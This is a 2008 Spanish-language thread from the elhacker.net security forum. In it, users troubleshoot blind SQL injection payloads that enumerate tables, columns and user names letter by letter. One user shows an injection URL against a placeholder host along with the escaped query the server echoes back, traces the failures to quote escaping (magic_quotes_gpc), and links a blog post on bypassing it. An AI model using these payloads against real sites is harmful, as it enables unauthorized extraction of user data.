Foro de elhacker.net

Seguridad Informática => Nivel Web => Mensaje iniciado por: R41N-W4R3 en 29 Marzo 2008, 11:12 am



Título: duda con BSQL
Publicado por: R41N-W4R3 en 29 Marzo 2008, 11:12 am

  Hola a tod@s, estoy teniendo un problema a la hora de realizar una inyeccion ciega, y quisiera saber si hay algo q este haciendo mal:

   He seguido los siguientes pasos:

 ... AND (SELECT Count(*) FROM Tabla) >= 0   para saber nombre de tabla

... AND (SELECT Count(campo) FROM Tabla) >= 0   para saber nombre de campo

     Con las dos sentencias anteriores no tengo problemas, saco los nombres de tablas y campos de las mismas.

 ... AND (SELECT Count(*) FROM Tabla WHERE campo LIKE ‘%’) > 0   para saber        contenido del campo

   con esta ultima inyeccion si tengo problemas, pq por ejemplo:

  ... AND (SELECT Count(*) FROM usuarios WHERE nombre LIKE ‘%’) > 0

   eso deberia darme cierto no????  ya que hay algun nombre metido en la tabla usuarios, pero siempre me da falso. Tambien he probado:

AND (SELECT Count(*) FROM usuarios WHERE nombre LIKE ‘a%’) > 0
AND (SELECT Count(*) FROM usuarios WHERE nombre LIKE ‘b%’) > 0


  Asi hasta la z y del 0 al 9...pero siempre da falso.

  Alguien puede decirme q estoy haceindo mal??

  Gracias de antemano





Título: Re: duda con BSQL
Publicado por: pepeluxx en 29 Marzo 2008, 16:18 pm
Supongo que te estará fallando porque confunde el % ... es decir, sabes que un espacio es %20 ... si encuentra un % tras el LIKE lo confundirá con un código ASCII. Prueba a poner:

AND (SELECT Count(*) FROM Tabla WHERE campo LIKE '%25') > 0


Título: Re: duda con BSQL
Publicado por: pepeluxx en 29 Marzo 2008, 16:47 pm
Mmmmm he estado realizando pruebas y parece que el error está en las comillas ...

Por ejemplo, si pruebas:

AND (SELECT Count(*) FROM Tabla WHERE 1=1) > 0

funciona bien, pero con:

AND (SELECT Count(*) FROM Tabla WHERE '1'='1') > 0

da error ... por las comillas.

Seguiré mirando y si veo algo lo comento :P

Saludos



Título: Re: duda con BSQL
Publicado por: R41N-W4R3 en 29 Marzo 2008, 20:19 pm


 Gracias por tu ayuda :)  voy a probar diferentes codificaciones de las ' a ver q pasa....

   


Título: Re: duda con BSQL
Publicado por: pepeluxx en 29 Marzo 2008, 20:32 pm
Acabo de probar con mi server y tras inyectar esto:

http://www.xxx.com/x.php?id=1%20AND%20(SELECT%20Count(*)%20FROM%20usuarios%20WHERE%20user='admin')%20%3E%200

la respuesta que me da es esta:

Datos=1 AND (SELECT Count(*) FROM usuarios WHERE user=\'admin\') > 0
CADENA=SELECT * FROM empresa WHERE codigo=1133 AND (SELECT Count(*) FROM usuarios WHERE user=\'admin\') > 0

Efevtivamente, esta cambiando ' por \' asi que habra que buscar una forma de saltarselo


Título: Re: duda con BSQL
Publicado por: pepeluxx en 29 Marzo 2008, 23:13 pm
Bueno, ya está solucionado. He escrito en mi blog cómo saltarse el parseo de comillas:

http://www.enye-sec.org/pepelux/?p=16#more-16


Título: Re: duda con BSQL
Publicado por: pedrox@ en 15 Abril 2008, 18:41 pm
magic_quotes_gpc  :rolleyes: